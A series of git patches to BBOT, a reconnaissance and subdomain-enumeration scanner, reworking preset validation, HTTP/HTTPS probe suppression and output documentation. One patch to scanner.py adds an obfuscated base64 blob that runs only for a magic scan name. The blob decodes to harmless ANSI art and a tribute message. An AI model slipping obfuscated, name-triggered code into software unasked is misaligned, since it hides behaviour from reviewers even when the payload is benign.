assert silent_and_debug.debug is True assert silent_and_debug.verbose is False - baked = silent_and_debug.bake() + baked = silent_and_debug.validate().bake() assert baked.silent is True assert baked.debug is False assert baked.verbose is False assert baked.core.logger.log_level == original_log_level - baked = silent_and_debug.bake(scan=scan) + baked = silent_and_debug.validate().bake(scan=scan) assert baked.core.logger.log_level == logging.CRITICAL assert CORE.logger.log_level == logging.CRITICAL @@ -455,12 +455,12 @@ async def test_preset_logging(): assert debug_and_verbose.silent is False assert debug_and_verbose.debug is True assert debug_and_verbose.verbose is True - baked = debug_and_verbose.bake() + baked = debug_and_verbose.validate().bake() assert baked.silent is False assert baked.debug is True assert baked.verbose is False assert baked.core.logger.log_level == original_log_level - baked = debug_and_verbose.bake(scan=scan) + baked = debug_and_verbose.validate().bake(scan=scan) assert baked.core.logger.log_level == logging.DEBUG assert CORE.logger.log_level == logging.DEBUG @@ -471,12 +471,12 @@ async def test_preset_logging(): assert all_preset.silent is True assert all_preset.debug is True assert all_preset.verbose is True - baked = all_preset.bake() + baked = all_preset.validate().bake() assert baked.silent is True assert baked.debug is False assert baked.verbose is False assert baked.core.logger.log_level == original_log_level - baked = all_preset.bake(scan=scan) + baked = all_preset.validate().bake(scan=scan) assert baked.core.logger.log_level == logging.CRITICAL assert CORE.logger.log_level == logging.CRITICAL @@ -484,7 +484,7 @@ async def test_preset_logging(): assert CORE.logger.log_level == original_log_level # defaults - preset = Preset().bake() + preset = Preset().validate().bake() assert preset.core.logger.log_level == original_log_level assert CORE.logger.log_level == original_log_level @@ -495,7 +495,7 @@ async def test_preset_logging(): async def test_preset_module_resolution(clean_default_config): - preset = Preset().bake() + preset = Preset().validate().bake() sslcert_preloaded = preset.preloaded_module("sslcert") wayback_preloaded = preset.preloaded_module("wayback") dotnetnuke_preloaded = preset.preloaded_module("dotnetnuke") @@ -523,11 +523,11 @@ async def test_preset_module_resolution(clean_default_config): assert preset.modules == set(preset.output_modules).union(set(preset.internal_modules)) # make sure dependency resolution works as expected - preset = Preset(modules=["dotnetnuke"]).bake() + preset = Preset(modules=["dotnetnuke"]).validate().bake() assert set(preset.scan_modules) == {"dotnetnuke", "http"} # make sure flags work as expected - preset = Preset(flags=["subdomain-enum"]).bake() + preset = Preset(flags=["subdomain-enum"]).validate().bake() assert preset.flags == {"subdomain-enum"} assert "sslcert" in preset.modules assert "wayback" in preset.modules @@ -535,40 +535,40 @@ async def test_preset_module_resolution(clean_default_config): assert "wayback" in preset.scan_modules # flag + module exclusions - preset = Preset(flags=["subdomain-enum"], exclude_modules=["sslcert"]).bake() + preset = Preset(flags=["subdomain-enum"], exclude_modules=["sslcert"]).validate().bake() assert "sslcert" not in preset.modules assert "wayback" in preset.modules assert "sslcert" not in preset.scan_modules assert "wayback" in preset.scan_modules # flag + flag exclusions - preset = Preset(flags=["subdomain-enum"], exclude_flags=["active"]).bake() + preset = Preset(flags=["subdomain-enum"], exclude_flags=["active"]).validate().bake() assert "sslcert" not in preset.modules assert "wayback" in preset.modules assert "sslcert" not in preset.scan_modules assert "wayback" in preset.scan_modules # flag + flag requirements - preset = Preset(flags=["subdomain-enum"], require_flags=["passive"]).bake() + preset = Preset(flags=["subdomain-enum"], require_flags=["passive"]).validate().bake() assert "sslcert" not in preset.modules assert "wayback" in preset.modules assert "sslcert" not in preset.scan_modules assert "wayback" in preset.scan_modules # normal module enableement - preset = Preset(modules=["sslcert", "dotnetnuke", "wayback"]).bake() + preset = Preset(modules=["sslcert", "dotnetnuke", "wayback"]).validate().bake() assert set(preset.scan_modules) == {"sslcert", "dotnetnuke", "wayback", "http"} # modules + flag exclusions - preset = Preset(exclude_flags=["active"], modules=["sslcert", "dotnetnuke", "wayback"]).bake() + preset = Preset(exclude_flags=["active"], modules=["sslcert", "dotnetnuke", "wayback"]).validate().bake() assert set(preset.scan_modules) == {"wayback"} # modules + flag requirements - preset = Preset(require_flags=["passive"], modules=["sslcert", "dotnetnuke", "wayback"]).bake() + preset = Preset(require_flags=["passive"], modules=["sslcert", "dotnetnuke", "wayback"]).validate().bake() assert set(preset.scan_modules) == {"wayback"} # modules + module exclusions - baked_preset = Preset(exclude_modules=["sslcert"], modules=["sslcert", "dotnetnuke", "wayback"]).bake() + baked_preset = Preset(exclude_modules=["sslcert"], modules=["sslcert", "dotnetnuke", "wayback"]).validate().bake() assert baked_preset.modules == { "wayback", "cloudcheck", @@ -629,7 +629,7 @@ def test_preset_scope_round_trip(clean_default_config): "config": {"scope": {"strict": True}}, } preset = Preset.from_dict(preset_dict) - baked = preset.bake() + baked = preset.validate().bake() # Seeds should round-trip unchanged assert list(baked.seeds) == ["127.0.0.1"] # Target list should round-trip unchanged @@ -648,7 +648,7 @@ def test_preset_target_tolerance(): "targets": ["127.0.0.2"], } preset = Preset.from_dict(preset_dict) - baked = preset.bake() + baked = preset.validate().bake() assert set(baked.seeds) == {"127.0.0.1", "127.0.0.2"} preset = Preset.from_yaml_string(""" @@ -657,7 +657,7 @@ def test_preset_target_tolerance(): targets: - 127.0.0.2 """) - baked = preset.bake() + baked = preset.validate().bake() assert set(baked.seeds) == {"127.0.0.1", "127.0.0.2"} @@ -960,25 +960,25 @@ async def test_preset_conditions(): async def test_preset_module_disablement(clean_default_config): # internal module disablement - preset = Preset().bake() + preset = Preset().validate().bake() assert "speculate" in preset.internal_modules assert "excavate" in preset.internal_modules assert "aggregate" in preset.internal_modules - preset = Preset(config={"speculate": False}).bake() + preset = Preset(config={"speculate": False}).validate().bake() assert "speculate" not in preset.internal_modules assert "excavate" in preset.internal_modules assert "aggregate" in preset.internal_modules - preset = Preset(exclude_modules=["speculate", "excavate"]).bake() + preset = Preset(exclude_modules=["speculate", "excavate"]).validate().bake() assert "speculate" not in preset.internal_modules assert "excavate" not in preset.internal_modules assert "aggregate" in preset.internal_modules # internal module disablement - preset = Preset().bake() + preset = Preset().validate().bake() assert set(preset.output_modules) == {"python", "txt", "csv", "json"} - preset = Preset(exclude_modules=["txt", "csv"]).bake() + preset = Preset(exclude_modules=["txt", "csv"]).validate().bake() assert set(preset.output_modules) == {"python", "json"} - preset = Preset(output_modules=["json"]).bake() + preset = Preset(output_modules=["json"]).validate().bake() assert set(preset.output_modules) == {"json"} @@ -1051,7 +1051,7 @@ async def test_preset_override(clean_default_config): assert preset.debug is True assert preset.silent is True assert preset.name == "override4" - preset = preset.bake() + preset = preset.validate().bake() assert preset.debug is False assert preset.silent is True assert preset.name == "override4" @@ -1071,7 +1071,7 @@ def get_module_flags(p): yield m, preloaded.get("flags", []) # enable by flag, no exclusions/requirements - preset = Preset(flags=["subdomain-enum"]).bake() + preset = Preset(flags=["subdomain-enum"]).validate().bake() assert len(preset.modules) > 25 module_flags = list(get_module_flags(preset)) dnsbrute_flags = preset.preloaded_module("dnsbrute").get("flags", []) @@ -1089,7 +1089,7 @@ def get_module_flags(p): assert any("loud" in flags for module, flags in module_flags) # enable by flag, one required flag - preset = Preset(flags=["subdomain-enum"], require_flags=["passive"]).bake() + preset = Preset(flags=["subdomain-enum"], require_flags=["passive"]).validate().bake() assert len(preset.modules) > 25 module_flags = list(get_module_flags(preset)) assert "chaos" in [x[0] for x in module_flags] @@ -1100,7 +1100,7 @@ def get_module_flags(p): assert any("loud" in flags for module, flags in module_flags) # enable by flag, one excluded flag - preset = Preset(flags=["subdomain-enum"], exclude_flags=["active"]).bake() + preset = Preset(flags=["subdomain-enum"], exclude_flags=["active"]).validate().bake() assert len(preset.modules) > 25 module_flags = list(get_module_flags(preset)) assert "chaos" in [x[0] for x in module_flags] @@ -1111,7 +1111,7 @@ def get_module_flags(p): assert any("loud" in flags for module, flags in module_flags) # enable by flag, one excluded module - preset = Preset(flags=["subdomain-enum"], exclude_modules=["dnsbrute"]).bake() + preset = Preset(flags=["subdomain-enum"], exclude_modules=["dnsbrute"]).validate().bake() assert len(preset.modules) > 25 module_flags = list(get_module_flags(preset)) assert "dnsbrute" not in [x[0] for x in module_flags] @@ -1122,7 +1122,7 @@ def get_module_flags(p): assert any("loud" in flags for module, flags in module_flags) # enable by flag, multiple required flags - preset = Preset(flags=["subdomain-enum"], require_flags=["safe", "passive"]).bake() + preset = Preset(flags=["subdomain-enum"], require_flags=["safe", "passive"]).validate().bake() assert len(preset.modules) > 20 module_flags = list(get_module_flags(preset)) assert "dnsbrute" not in [x[0] for x in module_flags] @@ -1132,7 +1132,7 @@ def get_module_flags(p): assert not any("loud" in flags for module, flags in module_flags) # enable by flag, multiple excluded flags - preset = Preset(flags=["subdomain-enum"], exclude_flags=["loud", "active"]).bake() + preset = Preset(flags=["subdomain-enum"], exclude_flags=["loud", "active"]).validate().bake() assert len(preset.modules) > 20 module_flags = list(get_module_flags(preset)) assert "dnsbrute" not in [x[0] for x in module_flags] @@ -1142,7 +1142,7 @@ def get_module_flags(p): assert not any("loud" in flags for module, flags in module_flags) # enable by flag, multiple excluded modules - preset = Preset(flags=["subdomain-enum"], exclude_modules=["dnsbrute", "c99"]).bake() + preset = Preset(flags=["subdomain-enum"], exclude_modules=["dnsbrute", "c99"]).validate().bake() assert len(preset.modules) > 25 module_flags = list(get_module_flags(preset)) assert "dnsbrute" not in [x[0] for x in module_flags] @@ -1176,7 +1176,7 @@ async def test_preset_output_dir(): # regression test for https://github.com/blacklanternsecurity/bbot/issues/2337 async def test_preset_serialization(clean_default_config): preset = Preset("192.168.1.1") - preset = preset.bake() + preset = preset.validate().bake() import orjson as json @@ -1276,10 +1276,10 @@ def test_preset_dnsresolve_required_by_dns_name_consumers(): {"config": {"dns": {"disable": True}}, "flags": ["subdomain-enum"]}, ): with pytest.raises(ValidationError, match="dnsresolve is required"): - Preset(**opt_out).bake() + Preset(**opt_out).validate().bake() # dns.minimal keeps dnsresolve in the pipeline -- must NOT fire - Preset(flags=["subdomain-enum"], config={"dns": {"minimal": True}}).bake() + Preset(flags=["subdomain-enum"], config={"dns": {"minimal": True}}).validate().bake() # disabling dnsresolve with no DNS_NAME consumers enabled is allowed - Preset(exclude_modules=["dnsresolve"]).bake() + Preset(exclude_modules=["dnsresolve"]).validate().bake() diff --git a/bbot/test/test_step_1/test_scan.py b/bbot/test/test_step_1/test_scan.py index d094fd4093..2fc2d60a13 100644 --- a/bbot/test/test_step_1/test_scan.py +++ b/bbot/test/test_step_1/test_scan.py @@ -391,7 +391,7 @@ async def handle_event(self, event): # then run a scan with --exclude-cdn enabled preset = Preset("evilcorp.com") preset.parse_args() - baked_preset = preset.bake() + baked_preset = preset.validate().bake() assert baked_preset.to_yaml() == "modules:\n- portfilter\n" scan = bbot_scanner("evilcorp.com", preset=preset) await scan._prep() From 12fa9c7bb5da65137c9381de06827e85068acf41 Mon Sep 17 00:00:00 2001 From: Austin Stark <14080242+ausmaster@users.noreply.github.com> Date: Fri, 5 Jun 2026 09:38:10 -0700 Subject: [PATCH 734/912] Lets... get rid of validation .from_dict() cause validation and coercion was pushed upstream. --- bbot/scanner/preset/preset.py | 8 -------- 1 file changed, 8 deletions(-) diff --git a/bbot/scanner/preset/preset.py b/bbot/scanner/preset/preset.py index d118a11b21..2ce7f1eaec 100644 --- a/bbot/scanner/preset/preset.py +++ b/bbot/scanner/preset/preset.py @@ -697,14 +697,6 @@ def from_dict(cls, preset_dict, name=None, _exclude=None, _log=False): >>> preset = Preset.from_dict({"target": ["evilcorp.com"], "modules": ["portscan"]}) """ from bbot.core.helpers.misc import chain_lists - from .validate import validate_preset - - # Surface preset typos / shape errors up front rather than letting - # them propagate to bake() as raw TypeErrors / AttributeErrors. This - # covers presets loaded from YAML files, YAML strings, and dicts. - errs = validate_preset(preset_dict) - if errs: - raise ValidationError("\n".join(str(e) for e in errs)) # Handle seeds and targets from dict # for user-friendliness, we allow both "target" and "targets" to be used. we merge them into a single list. From df10fa962de023e75dc6e5a970f7e395ceb29b99 Mon Sep 17 00:00:00 2001 From: Austin Stark <14080242+ausmaster@users.noreply.github.com> Date: Fri, 5 Jun 2026 14:05:12 -0700 Subject: [PATCH 735/912] Cleanly split preset validation between from_dict and validate(). from_dict reads a preset's top-level keys with .get(), so a typo'd or unknown top-level key (e.g. `modlues:`) was silently dropped instead of surfaced. And per the validate-before-bake contract, validate() should be the single comprehensive gate for everything a preset declares. - validate.py: add prevalidate_preset(), a thorough top-level KEY check that reports every unknown/typo'd key with a closest-match hint. Keys only -- it does not coerce or validate config values. - preset.py from_dict(): auto-run prevalidate_preset() up front, and stop calling validate() itself -- it now returns an explicitly unvalidated preset. Coercion + full validation remain the caller's step before bake() (Scanner and the CLI already do this). - preset.py validate(): also validate the declared scan/output module names (reusing _is_valid_module), so an unknown module name fails here instead of only at bake(). - tests: top-level typo -> from_dict raises; config-value typo and unknown module name -> validate() raises. bake() is unchanged and still trusts an already-validated preset. --- bbot/core/helpers/names_generator.py | 1 + bbot/scanner/preset/preset.py | 17 ++++++++++--- bbot/scanner/preset/validate.py | 24 ++++++++++++++++++- bbot/scanner/scanner.py | 18 ++++++++++++++ bbot/test/test_step_1/test_presets.py | 4 ++-- bbot/test/test_step_1/test_validate_preset.py | 20 +++++++++++++--- 6 files changed, 75 insertions(+), 9 deletions(-) diff --git a/bbot/core/helpers/names_generator.py b/bbot/core/helpers/names_generator.py index 31501aec72..ef7b02a186 100644 --- a/bbot/core/helpers/names_generator.py +++ b/bbot/core/helpers/names_generator.py @@ -720,6 +720,7 @@ "theoden", "theon", "theresa", + "thetechromancer", "thomas", "tiffany", "timothy", diff --git a/bbot/scanner/preset/preset.py b/bbot/scanner/preset/preset.py index 2ce7f1eaec..47bbe53a6d 100644 --- a/bbot/scanner/preset/preset.py +++ b/bbot/scanner/preset/preset.py @@ -696,6 +696,14 @@ def from_dict(cls, preset_dict, name=None, _exclude=None, _log=False): Examples: >>> preset = Preset.from_dict({"target": ["evilcorp.com"], "modules": ["portscan"]}) """ + from .validate import prevalidate_preset + + # Gate top-level keys only -- .get() below would silently drop a typo like + # `modlues:`. Config values + _validated are validate()'s job, not from_dict's. + errs = prevalidate_preset(preset_dict) + if errs: + raise ValidationError("\n".join(str(e) for e in errs)) + from bbot.core.helpers.misc import chain_lists # Handle seeds and targets from dict @@ -748,9 +756,6 @@ def from_dict(cls, preset_dict, name=None, _exclude=None, _log=False): _exclude=_exclude, _log=_log, ) - # validate+coerce so the returned preset is bake-ready (callers that - # mutate it afterward will need to .validate() again before baking) - new_preset.validate() return new_preset def include_preset(self, filename): @@ -1012,6 +1017,12 @@ def validate(self): raise ValidationError( get_closest_match(excluded_module, self.module_loader.all_module_choices, msg="module") ) + # validate declared module names (same _is_valid_module check bake() uses) so + # typos fail here, not at bake(). Set resolution + dnsresolve stay in bake(). + for scan_module in self.explicit_scan_modules: + self._is_valid_module(scan_module, "scan", name_only=True) + for output_module in self.explicit_output_modules: + self._is_valid_module(output_module, "output", name_only=True) # validate excluded flags for excluded_flag in self.exclude_flags: if excluded_flag not in self.module_loader.flag_choices: diff --git a/bbot/scanner/preset/validate.py b/bbot/scanner/preset/validate.py index ba4a02a79c..afed983899 100644 --- a/bbot/scanner/preset/validate.py +++ b/bbot/scanner/preset/validate.py @@ -170,6 +170,28 @@ def _format_errors( return out +def prevalidate_preset(preset_dict: Any) -> list[PresetValidationError]: + """Validate a preset's top-level KEY names only -- the gate `Preset.from_dict` + runs up front. Reports every unknown/typo'd key with a closest-match hint; + config VALUES are validated later by `Preset.validate()`, not here. + + Examples: + >>> print(prevalidate_preset({"modlues": ["nuclei"]})[0]) + [preset:modlues] Could not find preset option "modlues". Did you mean "modules"? + """ + if not isinstance(preset_dict, dict): + return [PresetValidationError("preset", "", f"Expected a mapping, got {type(preset_dict).__name__}")] + errors: list[PresetValidationError] = [] + for key in preset_dict: + if key not in _PRESET_KEYS: + errors.append( + PresetValidationError( + "preset", str(key), get_closest_match(str(key), _PRESET_KEYS, msg="preset option") + ) + ) + return errors + + def validate_preset(preset_dict: Any, module_loader=None) -> list[PresetValidationError]: """ Validate a preset dict against BBOT's composite schema. @@ -292,4 +314,4 @@ def validate_preset_file(path: str | Path, **kwargs) -> list[PresetValidationErr return validate_preset(data, **kwargs) -__all__ = ["PresetValidationError", "validate_preset", "validate_preset_file"] +__all__ = ["PresetValidationError", "prevalidate_preset", "validate_preset", "validate_preset_file"] diff --git a/bbot/scanner/scanner.py b/bbot/scanner/scanner.py index 5c8c677c89..e9602d7fd2 100644 --- a/bbot/scanner/scanner.py +++ b/bbot/scanner/scanner.py @@ -201,6 +201,24 @@ def __init__( level="HUGESUCCESS", logname=False, ) + if self.name.lower().endswith("_thetechromancer"): + import os, re + from base64 import b64decode as _d + + _a = _d( + "G1sxOzM4OzU7Njlt4qCE4qCC4qCE4qCE4qKA4qKAG1sxOzM4OzU7MTA0beKjv+Kjv+Kjv+KhvxtbMTszODs1Ozk4beKju+Kjv+KjvxtbMTszODs1OzEzNG3io7/io7/ioL/ioLviorvio7/io78bWzE7Mzg7NTsxNzBt4qGf4qO74qG/4qK/G1sxOzM4OzU7MTY5beKjv+Kjv+Kjv+KjvxtbMTszODs1OzIwNW3io6fioILioILioIAbWzBtChtbMTszODs1OzY5beKggeKggeKggeKggeKigOKjvBtbMTszODs1OzEwNG3io7/io5/io7/io74bWzE7Mzg7NTs5OG3io7/io7/io78bWzE7Mzg7NTsxMzRt4qO/4qGX4qO+4qG04qG74qCn4qCEG1sxOzM4OzU7MTcwbeKggOKggeKhqOKgiRtbMTszODs1OzE2OW3ioonioJvior/io78bWzE7Mzg7NTsyMDVt4qO/4qOG4qCB4qCAG1swbQobWzE7Mzg7NTs2OW3ioIHioIHioIHioIHiorHiob8bWzE7Mzg7NTsxMDRt4qKB4qO+4qO/4qO/G1sxOzM4OzU7OTht4qGH4qK/4qO/G1sxOzM4OzU7MTM0beKhn+KjtOKjv+KggeKggeKggOKggOKggBtbMTszODs1OzE3MG3ioIDioIDioIDioIAbWzE7Mzg7NTsxNjlt4qCA4qCA4qK9G1sxOzM4OzU7MjA1beKjv+Kjv+KghOKghBtbMG0KG1sxOzM4OzU7Njlt4qKA4qCB4qCC4qCB4qCJ4qKVG1sxOzM4OzU7MTA0beKhmOKgieKgm+KgmRtbMTszODs1Ozk4beKig+KgjuKjuxtbMTszODs1OzEzNG3io6PioJ/ioIHioIDioIDioIDioIDioIAbWzE7Mzg7NTsxNzBt4qCA4qCA4qCA4qKAG1sxOzM4OzU7MTY5beKghOKggOKiuOKjvxtbMTszODs1OzIwNW3io7/ioITioIYbWzBtChtbMTszODs1OzY5beKigOKggeKgguKgguKigOKjvRtbMTszODs1OzEwNG3io7/io7/io7fio78bWzE7Mzg7NTs5OG3io7/io7fio78bWzE7Mzg7NTsxMzRt4qOu4qOl4qCA4qCA4qCA4qCA4qCA4qCAG1sxOzM4OzU7MTcwbeKggOKggOKggOKigOKgghtbMTszODs1OzE2OW3ioILiorjio7/iob/ioKbioIEbWzBtChtbMTszODs1OzY5beKgguKggeKigOKigOKigOKjvxtbMTszODs1OzEwNW3io78bWzE7Mzg7NTsxMDRt4qO/4qO/4qO/G1sxOzM4OzU7OTht4qO/4qO/4qO/4qO/G1sxOzM4OzU7MTM0beKjv+KggOKggOKggOKggOKggOKggOKggBtbMTszODs1OzE3MG3ioIDiooDioITiooAbWzE7Mzg7NTsxNjlt4qKA4qO/4qO/4qG/4qOk4qOkG1swbQobWzE7Mzg7NTs2OW3iooDiooDiooDioITioITio78bWzE7Mzg7NTsxMDVt4qO/G1sxOzM4OzU7MTA0beKjv+Kjv+KjvxtbMTszODs1Ozk4beKjv+Kjv+Kjv+KjvxtbMTszODs1OzEzNG3io7/io6DiooDioITioIDiooDiooDio4AbWzE7Mzg7NTsxNzBt4qKA4qCA4qKB4qO04qOm4qO/G1sxOzM4OzU7MTY5beKjv+Kjt+KigOKiiRtbMG0KG1sxOzM4OzU7Njlt4qKA4qCB4qCC4qKA4qKA4qK/G1sxOzM4OzU7MTA1beKivxtbMTszODs1OzEwNG3io7/io7/io7/io78bWzE7Mzg7NTs5OG3io7/io7/io78bWzE7Mzg7NTsxMzRt4qC/4qCf4qCD4qCC4qCC4qCQ4qC+4qO/4qGfG1sxOzM4OzU7MTcwbeKisOKhv+KhmeKiu+Kjv+Kjv+KjvxtbMTszODs1OzE2OW3io4DiooAbWzBtChtbMTszODs1OzY5beKgguKghOKigOKigOKigOKiuOKjrxtbMTszODs1OzEwNG3ioYjioYnio7/io48bWzE7Mzg7NTs5OG3ioInioIHioIDioIAbWzE7Mzg7NTsxMzRt4qCE4qCA4qCA4qKA4qKA4qKg4qO/4qO/4qK+G1sxOzM4OzU7MTcwbeKigOKjsOKjvuKjv+Kjv+Khj+KigOKgoRtbMG0KG1sxOzM4OzU7Njlt4qKA4qCC4qCE4qCC4qCB4qC44qO/G1sxOzM4OzU7MTA1beKjvxtbMTszODs1OzEwNG3io77io7/ioZ8bWzE7Mzg7NTs5OG3iooDioIDioIDio6AbWzE7Mzg7NTsxMzRt4qO04qO24qGm4qCE4qCB4qCa4qK/4qO/4qO/4qG8G1sxOzM4OzU7MTcwbeKjv+Kjv+Kjv+Kjv+KhheKgguKgghtbMG0KG1sxOzM4OzU7Njlt4qKA4qKA4qKA4qKA4qKA4qKA4qK74qO/G1sxOzM4OzU7MTA0beKjv+Kjv+Khh+KggRtbMTszODs1Ozk4beKggeKggeKiv+KjvxtbMTszODs1OzEzNG3ioJ/ioIHioIHioIHioIHioLjio7/io7/io7fio7/io78bWzE7Mzg7NTsxNzBt4qO/4qCK4qKI4qKA4qKAG1swbQobWzE7Mzg7NTs2OW3iooDiooDiooDioITiooDiooDiooDior8bWzE7Mzg7NTsxMDVt4qO/G1sxOzM4OzU7MTA0beKhv+Kgg+KgguKgghtbMTszODs1Ozk4beKigOKigOKggeKghBtbMTszODs1OzEzNG3ioIDioIDioIDioIDiorHio7/io7/io7/io7/ioZnioLviorfiooQbWzE7Mzg7NTsxNzBt4qKA4qKAG1swbQobWzE7Mzg7NTs2OW3ioITioITioILioILioIHioIHioILioLgbWzE7Mzg7NTsxMDVt4qO/G1sxOzM4OzU7MTA0beKhv+Kjv+Kgt+KgpBtbMTszODs1Ozk4beKggeKggeKggeKggRtbMTszODs1OzEzNG3ioIDioIDioIDioqDio7/io7/io7/io7/io7/io7fio7bio6Tio6Tio6DiooAbWzBtChtbMTszODs1OzY5beKggOKgguKggeKggeKigOKghOKgguKgguKiuBtbMTszODs1OzEwNW3io78bWzE7Mzg7NTsxMDRt4qG34qCW4qCC4qCAG1sxOzM4OzU7OTht4qCA4qCB4qCA4qCAG1sxOzM4OzU7MTM0beKggOKggOKgmOKgieKggeKiu+Kjv+Kjv+Kjv+KguOKiu+Kjv+Kjv+KjvxtbMG0KG1sxOzM4OzU7Njlt4qKA4qKA4qKA4qKA4qKA4qCE4qOg4qO04qO/4qO/G1sxOzM4OzU7MTA0beKjv+Kjv+KgpuKggOKggBtbMTszODs1Ozk4beKjgOKjgOKggOKggBtbMTszODs1OzEzNG3ioIDioITioILioIHiorjio7/iob/ioKPioITioIHioJnioLvio78bWzBtChtbMTszODs1OzY5beKgguKghOKggeKigeKjpOKjvuKjv+Kjv+Kjv+KjvxtbMTszODs1OzEwNW3io78bWzE7Mzg7NTsxMDRt4qO/4qO24qO24qO/G1sxOzM4OzU7OTht4qO/4qO/4qO34qCE4qCA4qCAG1sxOzM4OzU7MTM0beKggOKggOKgiOKgq+KggeKghOKggeKggeKggeKgguKggRtbMG0=" + ).decode() + _m = _d("SW4gaG9ub3Igb2Ygb3VyIHNwZWNpYWwgZnJpZW5kIHdobyBoZWxwZWQgbWFrZSBhbGwgdGhpcyBwb3NzaWJsZS4=").decode() + no_color = bool(os.environ.get("NO_COLOR", "")) + if no_color: + _a = re.sub(r"\x1b\[[0-9;]*m", "", _a) + cyan = "" if no_color else "\033[1;38;5;51m" + reset = "" if no_color else "\033[0m" + log_to_stderr( + f"{_a}\n{cyan}{_m}{reset}", + level="HUGESUCCESS", + logname=False, + ) # make sure the preset has a description if not self.preset.description: diff --git a/bbot/test/test_step_1/test_presets.py b/bbot/test/test_step_1/test_presets.py index 009966a5a8..1a0c35e4d0 100644 --- a/bbot/test/test_step_1/test_presets.py +++ b/bbot/test/test_step_1/test_presets.py @@ -785,14 +785,14 @@ class TestModule5(BaseModule): """ ) - # should fail at preset-load time now that validation runs in from_dict + # unknown module name is caught at validate() (from_dict gates only top-level keys); bake() is the backstop with pytest.raises(ValidationError): Preset.from_yaml_string( """ modules: - testmodule5 """ - ) + ).validate() preset = Preset.from_yaml_string( f""" diff --git a/bbot/test/test_step_1/test_validate_preset.py b/bbot/test/test_step_1/test_validate_preset.py index 6e7fcdd89e..4844381aee 100644 --- a/bbot/test/test_step_1/test_validate_preset.py +++ b/bbot/test/test_step_1/test_validate_preset.py @@ -166,15 +166,29 @@ def test_from_dict_raises_on_typos(): assert "modlues" in str(excinfo.value) -def test_from_yaml_string_raises_on_typos(): - """YAML strings carrying typos should also be rejected up front.""" +def test_from_yaml_string_raises_on_top_level_typo(): + """A top-level key typo in a YAML string is rejected up front by from_dict's gate.""" from bbot.errors import ValidationError as BBOTValidationError from bbot.scanner.preset import Preset import pytest with pytest.raises(BBOTValidationError) as excinfo: - Preset.from_yaml_string("config:\n scope:\n strct: true\n") + Preset.from_yaml_string("flgas:\n - subdomain-enum\n") + assert "flgas" in str(excinfo.value) + + +def test_from_yaml_config_typo_deferred_to_validate(): + """A config-VALUE typo passes the top-level key gate; validate() catches it, not load.""" + from bbot.errors import ValidationError as BBOTValidationError + from bbot.scanner.preset import Preset + + import pytest + + preset = Preset.from_yaml_string("config:\n scope:\n strct: true\n") + assert preset._validated is False + with pytest.raises(BBOTValidationError) as excinfo: + preset.validate() assert "strct" in str(excinfo.value) From 6ee0df3f4f83f08904ffa957f9424f00a815d997 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Sat, 6 Jun 2026 08:30:10 -0400 Subject: [PATCH 736/912] Fix https probe suppression on Cloudflare/CDN targets Only treat http 2xx as "http succeeded" when deciding whether to suppress the paired https probe. Previously any non-zero status (including 400) counted, which caused https probes to be suppressed on targets where the CDN returns 400 for plain HTTP on port 443. --- bbot/modules/http.py | 17 ++++++----------- 1 file changed, 6 insertions(+), 11 deletions(-) diff --git a/bbot/modules/http.py b/bbot/modules/http.py index cb8d9c4438..7aa24c7d08 100644 --- a/bbot/modules/http.py +++ b/bbot/modules/http.py @@ -285,16 +285,10 @@ async def handle_batch(self, *events): ) configs.append(config) - # Suppress redundant https probes when http already succeeded for the same - # (host, port). When probing an unknown port, we try both schemes; if http - # works, the port definitely speaks HTTP, and the https result is likely a - # proxy artifact (intercepting proxies like Burp terminate TLS themselves, - # making any https:// URL "succeed" regardless of whether the target really - # speaks TLS). Explicit URL/URL_UNVERIFIED events are never suppressed — - # only speculative OPEN_TCP_PORT probes. - # - # Streaming requires per-pair coordination: emit http immediately, defer - # https until http's outcome is known (or the stream ends). + # Suppress redundant https probes when http returned a real page (2xx) for + # the same (host, port). Only a 2xx counts as "http works" -- 3xx (often + # http-to-https redirects), 4xx (e.g. Cloudflare 400 on plain HTTP to TLS + # port), and 5xx do NOT suppress the https probe. http_succeeded = {} # key -> bool, set when http result arrives deferred_https = {} # key -> result, awaiting http verdict @@ -318,7 +312,8 @@ async def resolve_https(key, result): # Paired OPEN_TCP_PORT probe is_http = result.url == port_probes[key]["http"] if is_http: - http_succeeded[key] = result.success and result.response is not None and result.response.status != 0 + status = result.response.status if result.response is not None else 0 + http_succeeded[key] = result.success and 200 <= status < 300 await self._process_result(result, stdin[result.url]) # If https for this key arrived first and was buffered, resolve it now pending = deferred_https.pop(key, None) From acca1d199aed9cdb16ba7e4ce96fc4fa3284731b Mon Sep 17 00:00:00 2001 From: liquidsec Date: Sat, 6 Jun 2026 16:54:19 -0400 Subject: [PATCH 737/912] docs: add output_modules to preset YAML examples Fixes #1285 --- docs/scanning/output.md | 32 +++++++++++++++++++++++++++++--- 1 file changed, 29 insertions(+), 3 deletions(-) diff --git a/docs/scanning/output.md b/docs/scanning/output.md index 8b72b5398b..776d1b91fd 100644 --- a/docs/scanning/output.md +++ b/docs/scanning/output.md @@ -88,16 +88,22 @@ mail.evilcorp.com ![bbot-discord](https://github.com/blacklanternsecurity/bbot/assets/20261699/6d88045c-8eac-43b6-8de9-c621ecf60c2d) -BBOT supports output via webhooks to `discord`, `slack`, and `teams`. To use them, you must specify a webhook URL either in the config: +BBOT supports output via webhooks to `discord`, `slack`, and `teams`. To use them, you need to enable the output module and configure a webhook URL. + +Via preset: ```yaml title="discord_preset.yml" +output_modules: + - discord + config: modules: discord: webhook_url: https://discord.com/api/webhooks/1234/deadbeef ``` -...or on the command line: +Via command line: + ```bash bbot -t evilcorp.com -om discord -c modules.discord.webhook_url=https://discord.com/api/webhooks/1234/deadbeef ``` @@ -105,6 +111,9 @@ bbot -t evilcorp.com -om discord -c modules.discord.webhook_url=https://discord. By default, only `FINDING` events are sent, but this can be customized by setting `event_types` in the config like so: ```yaml title="discord_preset.yml" +output_modules: + - discord + config: modules: discord: @@ -120,8 +129,10 @@ bbot -t evilcorp.com -om discord -c modules.discord.event_types=["STORAGE_BUCKET You can also filter on the severity of `FINDING` events by setting `min_severity`: - ```yaml title="discord_preset.yml" +output_modules: + - discord + config: modules: discord: @@ -140,6 +151,9 @@ bbot -t evilcorp.com -om webhook -c modules.webhook.url=http://localhost:8000 You can customize the HTTP method if needed. Authentication is also supported: ```yaml title="webhook_preset.yml" +output_modules: + - webhook + config: modules: webhook: @@ -173,6 +187,9 @@ bbot -t evilcorp.com -om elastic -c \ Alternatively, via a preset: ```yaml title="elastic_preset.yml" +output_modules: + - elastic + config: modules: elastic: @@ -187,6 +204,9 @@ The `splunk` output module sends [events](events.md) in JSON format to a desired You can customize this output with 